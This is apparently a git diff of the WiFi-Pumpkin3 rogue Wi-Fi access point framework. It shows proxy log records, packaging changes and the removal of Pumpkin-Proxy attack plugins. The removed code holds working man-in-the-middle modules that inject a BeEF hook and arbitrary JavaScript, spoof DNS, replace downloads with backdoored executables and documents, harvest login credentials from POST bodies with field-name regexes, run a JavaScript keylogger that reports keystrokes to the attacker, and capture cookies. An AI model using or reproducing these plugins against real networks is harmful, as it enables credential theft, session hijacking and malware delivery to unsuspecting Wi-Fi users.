{"text": "2020-03-14 at 21:42:14 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:48.359783", "seconds": 48.359783}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:14.785596-03:00", "timestamp": 1584232934.785596}}}
{"text": "2020-03-14 at 21:42:14 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:48.423754", "seconds": 48.423754}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:14.849567-03:00", "timestamp": 1584232934.849567}}}
{"text": "2020-03-14 at 21:42:14 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:48.519704", "seconds": 48.519704}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:14.945517-03:00", "timestamp": 1584232934.945517}}}
{"text": "2020-03-14 at 21:42:14 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:48.573772", "seconds": 48.573772}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:14.999585-03:00", "timestamp": 1584232934.999585}}}
{"text": "2020-03-14 at 21:42:15 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:48.643264", "seconds": 48.643264}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:15.069077-03:00", "timestamp": 1584232935.069077}}}
{"text": "2020-03-14 at 21:42:15 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:48.681070", "seconds": 48.68107}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:15.106883-03:00", "timestamp": 1584232935.106883}}}
{"text": "2020-03-14 at 21:42:15 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:48.773094", "seconds": 48.773094}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:15.198907-03:00", "timestamp": 1584232935.198907}}}
{"text": "2020-03-14 at 21:42:15 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:48.853223", "seconds": 48.853223}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:15.279036-03:00", "timestamp": 1584232935.279036}}}

View File

@ -1,5 +0,0 @@
#Hack grabbed from http://stackoverflow.com/questions/1057431/loading-all-modules-in-a-folder-in-python
#Has to be a cleaner way to do this, but it works for now
import os
import glob
__all__ = [ os.path.basename(f)[:-3] for f in glob.glob(os.path.dirname(__file__)+"/*.py")]

View File

@ -1,56 +0,0 @@
from core.common.platforms import decoded
from plugins.extension.plugin import PluginTemplate
"""
Description:
This program is a core for wifi-pumpkin.py. file which includes functionality
plugins for Pumpkin-Proxy.
Copyright:
Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>
"""
class beef(PluginTemplate):
meta = {
'Name' : 'beef',
'Version' : '1.1',
'Description' : 'this module proxy inject hook beef api url.[Hook URL]',
'Author' : 'by Maintainer'
}
def __init__(self):
for key,value in self.meta.items():
self.__dict__[key] = value
self.ConfigParser = True
self.urlhook = self.config.get('set_beef','hook')
def request(self, flow):
pass
def response(self,flow):
with decoded(flow.response): # Remove content encoding (gzip, ...)
html = BeautifulSoup(flow.response.content,'lxml')
"""
# To Allow CORS
if "Content-Security-Policy" in flow.response.headers:
del flow.response.headers["Content-Security-Policy"]
"""
if html.body:
url = '{}'.format(flow.request.pretty_host)
metatag = html.new_tag('script')
metatag.attrs['src'] = self.urlhook
metatag.attrs['type'] = 'text/javascript'
html.body.append(metatag)
flow.response.content = str(html)
self.send_output.emit("[{}] Injected BeFF hook in URL:[ {} ] ".format(self.Name,url))

View File

@ -1,74 +0,0 @@
import re
from ast import literal_eval
from plugins.extension.plugin import PluginTemplate
"""
Description:
This program is a core for wifi-pumpkin.py. file which includes functionality
plugins for Pumpkin-Proxy.
Copyright:
Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>
"""
parse_host_header = re.compile(r"^(?P<host>[^:]+|\[.+\])(?::(?P<port>\d+))?$")
class DNSspoof(PluginTemplate):
meta = {
'Name' : 'dnsspoof',
'Version' : '1.0',
'Description' : 'directing a Domain Name Server (DNS) and all of its requests.',
'Author' : 'Marcos Nesster',
}
def __init__(self):
for key,value in self.meta.items():
self.__dict__[key] = value
self.dict_domain = {}
self.ConfigParser = True
self.getAllDomainToredict()
def getAllDomainToredict(self):
self.domains = self.config.get_all_childname('set_dnsspoof')
for item in self.domains:
if item.startswith('domain'):
indomain = literal_eval(str(self.config.get('set_dnsspoof',item)))
self.dict_domain.update(indomain)
def request(self, flow):
print(flow.request.host)
for domain in self.dict_domain.keys():
if re.search(domain,flow.request.pretty_host):
if flow.client_conn.ssl_established:
flow.request.scheme = "https"
sni = flow.client_conn.connection.get_servername()
port = 443
else:
flow.request.scheme = "http"
sni = None
port = 80
host_header = flow.request.pretty_host
m = parse_host_header.match(host_header)
if m:
host_header = m.group("host").strip("[]")
if m.group("port"):
port = int(m.group("port"))
flow.request.port = port
flow.request.host = self.dict_domain[domain]
self.send_output.emit('[dnsspoof]:: {} spoofed DNS response'.format(domain))
def response(self, flow):
pass

View File

@ -1,66 +0,0 @@
from os import path
from core.common.platforms import decoded
from plugins.extension.plugin import PluginTemplate
"""
Description:
This program is a core for wifi-pumpkin.py. file which includes functionality
plugins for Pumpkin-Proxy.
Copyright:
Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>
"""
exe_mimetypes = ['application/octet-stream', 'application/x-msdownload',
'application/exe', 'application/x-exe', 'application/dos-exe', 'vms/exe',
'application/x-winexe', 'application/msdos-windows', 'application/x-msdos-program']
class downloadspoof(PluginTemplate):
meta = {
'Name' : 'downloadspoof',
'Version' : '1.0',
'Description' : 'Replace files being downloaded via HTTP with malicious versions.',
'Author' : 'Marcos Nesster'
}
def __init__(self):
for key,value in self.meta.items():
self.__dict__[key] = value
self.ConfigParser = True
self.payloads = {
'application/pdf': self.config.get('set_downloadspoof','backdoorPDFpath'),
'application/msword': self.config.get('set_downloadspoof','backdoorWORDpath'),
'application/x-msexcel' : self.config.get('set_downloadspoof','backdoorXLSpath'),
}
for mime in exe_mimetypes:
self.payloads[mime] = self.config.get('set_downloadspoof','backdoorExePath')
def request(self, flow):
pass
def response(self, flow):
try:
# for another format file types
content = flow.response.headers['Content-Type']
if content in self.payloads:
if path.isfile(self.payloads[content]):
with decoded(flow.response):
self.send_output.emit('[downloadspoof]:: URL: {}'.format(flow.request.url))
self.send_output.emit("[downloadspoof]:: Replaced file of mimtype {} with malicious version".format(content))
flow.response.content = open(self.payloads[content],'rb').read()
self.send_output.emit('[downloadspoof]:: Patching complete, forwarding to user...')
return
self.send_output.emit('[downloadspoof]:: {}, Error Path file not found\n'.format(self.payloads[content]))
except Exception as e:
pass

View File

@ -1,86 +0,0 @@
from plugins.extension.plugin import PluginTemplate
from PyQt4.QtCore import QObject,pyqtSignal
import re
from core.common.platforms import decoded
"""
Description:
This program is a core for wifi-pumpkin.py. file which includes functionality
plugins for Pumpkin-Proxy.
Copyright:
Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>
"""
class dump_post_data(PluginTemplate):
meta = {
'Name' : 'dump_post_data',
'Version' : '1.0',
'Description' : 'Getting HTTP post data capture login post and logout pre event hook and its its working in web',
'Author' : 'Marcos Nesster'
}
def __init__(self):
for key,value in self.meta.items():
self.__dict__[key] = value
self.ConfigParser = False
def get_password_POST(self, content):
user = None
passwd = None
# Taken mainly from Pcredz by Laurent Gaffie
userfields = ['log','login', 'wpname', 'ahd_username', 'unickname', 'nickname', 'user', 'user_name',
'alias', 'pseudo', 'email', 'username', '_username', 'userid', 'form_loginname', 'loginname',
'login_id', 'loginid', 'session_key', 'sessionkey', 'pop_login', 'uid', 'id', 'user_id', 'screename',
'uname', 'ulogin', 'acctname', 'account', 'member', 'mailaddress', 'membername', 'login_username',
'login_email', 'loginusername', 'loginemail', 'uin', 'sign-in']
passfields = ['ahd_password', 'pass', 'password', '_password', 'passwd', 'session_password', 'sessionpassword',
'login_password', 'loginpassword', 'form_pw', 'pw', 'userpassword', 'pwd', 'upassword', 'login_password'
'passwort', 'passwrd', 'wppassword', 'upasswd']
for login in userfields:
login_re = re.search('(%s=[^&]+)' % login, content, re.IGNORECASE)
if login_re:
user = login_re.group()
for passfield in passfields:
pass_re = re.search('(%s=[^&]+)' % passfield, content, re.IGNORECASE)
if pass_re:
passwd = pass_re.group()
if user and passwd:
return (user, passwd)
def request(self, flow):
self.send_output.append("FOR: " + flow.request.url +" "+ flow.request.method + " " + flow.request.path + " " + flow.request.http_version)
user_passwd = self.get_password_POST(flow.request.content.decode("utf-8"))
if user_passwd != None:
try:
http_user = user_passwd[0]
http_pass = user_passwd[1]
# Set a limit on how long they can be prevent false+
if len(http_user) > 75 or len(http_pass) > 75:
return
self.send_output.append("\n[{}][HTTP REQUEST HEADERS]\n".format(self.Name))
itens = dict(flow.request.headers)
for key in itens.keys():
self.send_output.append('{} : {}'.format(key,itens[key]))
self.send_output.append('\n')
self.send_output.append( 'HTTP username: %s' % http_user)
self.send_output.append( 'HTTP password: %s\n' % http_pass)
except UnicodeDecodeError:
pass
def response(self, flow):
pass

View File

@ -1,61 +0,0 @@
from os import path
from plugins.extension.plugin import PluginTemplate
from core.common.platforms import decoded
"""
Description:
This program is a core for wifi-pumpkin.py. file which includes functionality
plugins for Pumpkin-Proxy.
Copyright:
Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>
"""
class html_inject(PluginTemplate):
meta = {
'Name' : 'html_inject',
'Version' : '1.1',
'Description' : 'inject arbitrary HTML code into a vulnerable web page.',
'Author' : 'by Maintainer'
}
def __init__(self):
for key,value in self.meta.items():
self.__dict__[key] = value
self.ConfigParser = True
self.filehtml = self.config.get('set_html_inject','content_path')
self.isfilePath = False
if path.isfile(self.filehtml):
self.isfilePath = True
self.content = open(self.filehtml,'r').read()
def request(self, flow):
pass
def response(self,flow):
if self.isfilePath:
with decoded(flow.response): # Remove content encoding (gzip, ...)
html = BeautifulSoup(flow.response.content.decode('utf-8', 'ignore'),'lxml')
"""
# To Allow CORS
if "Content-Security-Policy" in flow.response.headers:
del flow.response.headers["Content-Security-Policy"]
"""
if html.body:
temp_soup = BeautifulSoup(self.content,'lxml')
html.body.insert(len(html.body.contents), temp_soup)
flow.response.content = str(html)
return self.send_output.emit("[{}] [Request]: {} | injected ".format(self.Name,flow.request.pretty_host))
else:
return self.send_output.emit("[{}] Error Path file not found ".format(self.Name))

View File

@ -1,26 +0,0 @@
from core.common.platforms import decoded
from plugins.extension.plugin import PluginTemplate
class inverted_internet(PluginTemplate):
meta = {
'Name' : 'inverted_internet',
'Version' : '1.0',
'Description' : 'add style html for inverte body content.',
'Author' : 'David @davoclavo'
}
def __init__(self):
for key,value in self.meta.items():
self.__dict__[key] = value
self.ConfigParser = False
def request(self, flow):
pass
def response(self, flow):
with decoded(flow.response):
if flow.response.content:
c = flow.response.content.replace('</body>', '<style>body '
'{transform:rotate(180deg);-ms-transform:rotate(180deg);-webkit-transform:rotate(180deg);}'
'</style></body>')
if c > 0:
self.send_output.emit('[{}] {} CSS injected...'.format(self.Name,flow.request.pretty_host))

View File

@ -1,60 +0,0 @@
from core.common.platforms import decoded
from plugins.extension.plugin import PluginTemplate
"""
Description:
This program is a core for wifi-pumpkin.py. file which includes functionality
plugins for Pumpkin-Proxy.
Copyright:
Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>
"""
class js_inject(PluginTemplate):
meta = {
'Name' : 'js_inject',
'Version' : '1.1',
'Description' : 'url injection insert and use our own JavaScript code in a page.',
'Author' : 'by Maintainer'
}
def __init__(self):
for key,value in self.meta.items():
self.__dict__[key] = value
self.ConfigParser = True
self.url = self.config.get('set_js_inject','url')
def request(self, flow):
pass
def response(self,flow):
with decoded(flow.response): # Remove content encoding (gzip, ...)
html = BeautifulSoup(flow.response.content,'lxml')
"""
# To Allow CORS
if "Content-Security-Policy" in flow.response.headers:
del flow.response.headers["Content-Security-Policy"]
"""
if html.body:
url = '{}'.format(flow.request.pretty_host)
metatag = html.new_tag('script')
metatag.attrs['src'] = self.url
metatag.attrs['type'] = 'text/javascript'
html.body.append(metatag)
flow.response.content = str(html)
self.send_output.emit("[{} js script Injected in [ {} ]".format(self.Name,url))

View File

@ -1,69 +0,0 @@
from os import path
from core.common.platforms import decoded
from plugins.extension.plugin import PluginTemplate
# Copyright (C) 2015-2016 xtr4nge [_AT_] gmail.com, Marcello Salvati (@byt3bl33d3r)
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
class jskeylogger(PluginTemplate):
meta = {
'Name' : 'jskeylogger',
'Version' : '1.0',
'Description' : 'it stores all keystrokes along with a timestamps in a n array and send it to the attacker',
'Author' : '@byt3bl33d3r @xtr4nge'
}
def __init__(self):
for key,value in self.meta.items():
self.__dict__[key] = value
self.ConfigParser = False
self.filejs = 'core/servers/proxy/http/scripts/msfkeylogger.js'
if path.isfile(self.filejs):
self.isfilePath = True
self.content = open(self.filejs,'r').read()
def request(self, flow):
try:
if flow.request.method == 'POST' and ('keylog' in flow.request.path):
raw_keys = flow.request.content.split("&&")[0]
input_field = flow.request.content.split("&&")[1]
keys = raw_keys.split(",")
if keys:
del keys[0]; del(keys[len(keys)-1])
nice = ''
for n in keys:
if n == '9':
nice += "<TAB>"
elif n == '8':
nice = nice[:-1]
elif n == '13':
nice = ''
else:
try:
nice += n.decode('hex')
except:
self.send_output.emit("["+self.Name+"] Error decoding char: {}".format(n))
self.send_output.emit("["+self.Name+"] Host: {} | Field: {} | Keys: {}".format(flow.request.host, input_field, nice))
except Exception:
pass
def response(self, flow):
if self.isfilePath:
with decoded(flow.response):
flow.response.content = flow.response.content.replace("</body>", "<script>" + self.content + "</script></body>")
self.send_output.emit('[{}] javascript keylogger injected..'.format(self.Name))

View File

@ -1,34 +0,0 @@
import logging
from bs4 import BeautifulSoup
from PyQt4.QtCore import QObject,pyqtSignal
from core.utility.collection import SettingsINI
import core.utility.constants as C
class PluginTemplate(QObject):
name = 'plugin master'
version = '1.0'
config = SettingsINI(C.CONFIG_PP_INI)
loggers = {}
send_output = pyqtSignal(object)
def init_logger(self,session):
self.loggers['Pumpkin-Proxy'] = self.setup_logger('Pumpkin-Proxy',
'logs/AccessPoint/pumpkin-proxy.log',session)
self.log = self.loggers['Pumpkin-Proxy']
def setup_logger(self,logger_name, log_file,key=str(), level=logging.INFO):
if self.loggers.get(logger_name):
return self.loggers.get(logger_name)
else:
logger = logging.getLogger(logger_name)
formatter = logging.Formatter('SessionID[{}] %(asctime)s : %(message)s'.format(key))
fileHandler = logging.FileHandler(log_file, mode='a')
fileHandler.setFormatter(formatter)
logger.setLevel(logging.INFO)
logger.addHandler(fileHandler)
return logger
def request(self, flow):
raise NotImplementedError
def response(self, flow):
raise NotImplementedError

View File

@ -1,52 +0,0 @@
from core.common.platforms import decoded
from plugins.extension.plugin import PluginTemplate
"""
Description:
This program is a core for wifi-pumpkin.py. file which includes functionality
plugins for Pumpkin-Proxy.
Copyright:
Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>
"""
class shakepage(PluginTemplate):
meta = {
'Name' : 'shakepage',
'Version' : '1.0',
'Description' : 'this plugin proxy added javascript to shake page',
'Author' : 'Marcos Nesster'
}
def __init__(self):
for key,value in self.meta.items():
self.__dict__[key] = value
self.ConfigParser = False
def request(self, flow):
pass
def response(self, flow):
with decoded(flow.response):
if flow.response.content:
c = flow.response.content.replace('</body>', '''<script>
window.onload=function() {
var move=document.getElementsByTagName("body")[0];
setInterval(function() {
move.style.marginTop=(move.style.marginTop=="4px")?"-4px":"4px";
}, 5);
}
</script></body>''')
if c > 0:
self.send_output.emit('[{}] {} javascript injected...'.format(self.Name,flow.request.pretty_host))

View File

@ -1,54 +0,0 @@
from core.common.platforms import decoded
from plugins.extension.plugin import PluginTemplate
"""
Description:
This program is a core for wifi-pumpkin.py. file which includes functionality
plugins for Pumpkin-Proxy.
Copyright:
Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>
"""
class stickycookie(PluginTemplate):
meta = {
'Name' : 'stickycookie',
'Version' : '1.0',
'Description' : 'Traffic is monitored for Cookie and Set-Cookie headers',
'Author' : 'from mitmproxy scripts'
}
def __init__(self):
for key,value in self.meta.items():
self.__dict__[key] = value
self.stickyhosts = {}
self.ConfigParser = False
def request(self, flow):
try:
hid = (flow.request.host, flow.request.port)
if "cookie" in flow.request.headers:
self.stickyhosts[hid] = flow.request.headers.get_all("cookie")
elif hid in self.stickyhosts:
flow.request.headers.set_all("cookie", self.stickyhosts[hid])
self.send_output.emit("Host: {} Captured cookie: {} ".format(hid, self.stickyhosts[hid]))
except: pass
def response(self, flow):
hid = (flow.request.host, flow.request.port)
if "set-cookie" in flow.response.headers:
self.stickyhosts[hid] = flow.response.headers.get_all("set-cookie")

View File

@ -1,52 +0,0 @@
import io
from PIL import Image
from plugins.extension.plugin import PluginTemplate
"""
Description:
This program is a core for wifi-pumpkin.py. file which includes functionality
plugins for Pumpkin-Proxy.
Copyright:
Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>
"""
class upsidedownternet(PluginTemplate):
meta = {
'Name' : 'upsidedownternet',
'Version' : '1.0',
'Description' : 'flip image from website request mitmproxy ',
'Author' : 'from mitmproxy scripts'
}
def __init__(self):
for key,value in self.meta.items():
self.__dict__[key] = value
self.ConfigParser = False
def request(self, flow):
pass
def response(self, flow):
if flow.response.headers.get("content-type", "").startswith("image"):
try:
s = io.StringIO(flow.response.content)
img = Image.open(s).rotate(180)
s2 = io.StringIO()
img.save(s2, "png")
flow.response.content = s2.getvalue()
flow.response.headers["content-type"] = "image/png"
self.send_output.emit('[{}][*] flip image from website request'.format(self.Name))
except: # Unknown image types etc.
pass

View File

@ -1,18 +1,18 @@
netifaces
netaddr
dhcplib
ipaddress
scapy_http
configparser
tabulate
beautifultable
netifaces==0.10.4
netaddr==0.7.19
dhcplib==0.1.1
ipaddress==1.0.22
scapy_http==1.8.2
configparser==4.0.2
tabulate==0.8.5
beautifultable==0.8.0
urwid==1.1.2
termcolor
termcolor==1.1.0
PyQt5==5.10.1
dnslib==0.9.7
loguru
scapy
npyscreen
isc_dhcp_leases
dnspython
proxy.py
loguru==0.4.0
scapy==2.4.3
npyscreen==4.10.5
isc_dhcp_leases==0.9.1
dnspython==1.16.0
proxy.py==2.1.2

59
setup.py Normal file
View File

@ -0,0 +1,59 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from setuptools import setup, find_packages
from distutils.util import strtobool
import os
import glob
import shutil
import re
from distutils.dir_util import copy_tree
def version(version_file):
with open(version_file, 'r') as f:
version_file_content = f.read()
version_match = re.search(r"__version__\s*=\s*[\"\']([^\"\']+)", version_file_content)
if version_match:
return version_match.groups()[0]
return None
with open('requirements.txt') as fp:
required = [line.strip() for line in fp if line.strip() != ""]
def create_user_dir_config():
user_config_dir = os.path.expanduser("~") + "/.config/wifipumpkin3"
if not os.path.isdir(user_config_dir):
os.makedirs(user_config_dir, exist_ok=True)
copy_tree("config", user_config_dir +'/config')
copy_tree("logs", user_config_dir + "/logs")
# create dir config
create_user_dir_config()
VERSION_FILE = 'wifipumpkin3/_version.py'
wifipumpkin3_version = version(VERSION_FILE)
setup(name='wifipumpkin3',
version=wifipumpkin3_version,
description='Framework for Rogue Wi-Fi Access Point Attack',
author='Marcos Bomfim (mh4x0f) - P0cL4bs Team',
author_email='mh4root@gmail.com',
url='https://github.com/P0cL4bs/WiFi-Pumpkin3',
license='apache 2.0',
long_description=open('README.md').read(),
install_requires=required,
scripts=['bin/wifipumpkin3', 'bin/sslstrip3'],
include_package_data=True,
packages=find_packages(),
python_requires='>=3',
classifiers=[
'Programming Language :: Python :: 3',
'Development Status :: 5 - Production/Stable',
'License :: OSI Approved :: BSD License',
'Natural Language :: English',
'Operating System :: POSIX :: Linux',
'Topic :: Scientific/Engineering :: Information Analysis',
'Environment :: Console',
])

1
tests/docker Submodule

@ -0,0 +1 @@
Subproject commit 3ef0739a0185f4610cc13103101429166814596d

1
tests/sslstrip Submodule

@ -0,0 +1 @@
Subproject commit 12446b4f014036471fef6cef0777a19f88278494

@ -0,0 +1 @@
Subproject commit 461c42854b3b7ef29182abc91fea01f6ee71a181

1
wifipumpkin3/_version.py Normal file
View File

@ -0,0 +1 @@
__version__ = '1.0.0'

View File

@ -10,13 +10,13 @@ from subprocess import \
)
from PyQt5.QtCore import pyqtSignal,QObject
import core.utility.constants as C
from core.common.platforms import Linux
from core.common.platforms import exec_bash
from core.controls.threads import ProcessHostapd
from core.packets.dhcpserver import DHCPThread
from core.utility.collection import SettingsINI
from core.utility.printer import display_messages
import wifipumpkin3.core.utility.constants as C
from wifipumpkin3.core.common.platforms import Linux
from wifipumpkin3.core.common.platforms import exec_bash
from wifipumpkin3.core.controls.threads import ProcessHostapd
from wifipumpkin3.core.packets.dhcpserver import DHCPThread
from wifipumpkin3.core.utility.collection import SettingsINI
from wifipumpkin3.core.utility.printer import display_messages
import time

View File

@ -1,8 +1,6 @@
from core.config.globalimport import *
from core.common.uimodel import *
from core.widgets.default import *
from wifipumpkin3.core.config.globalimport import *
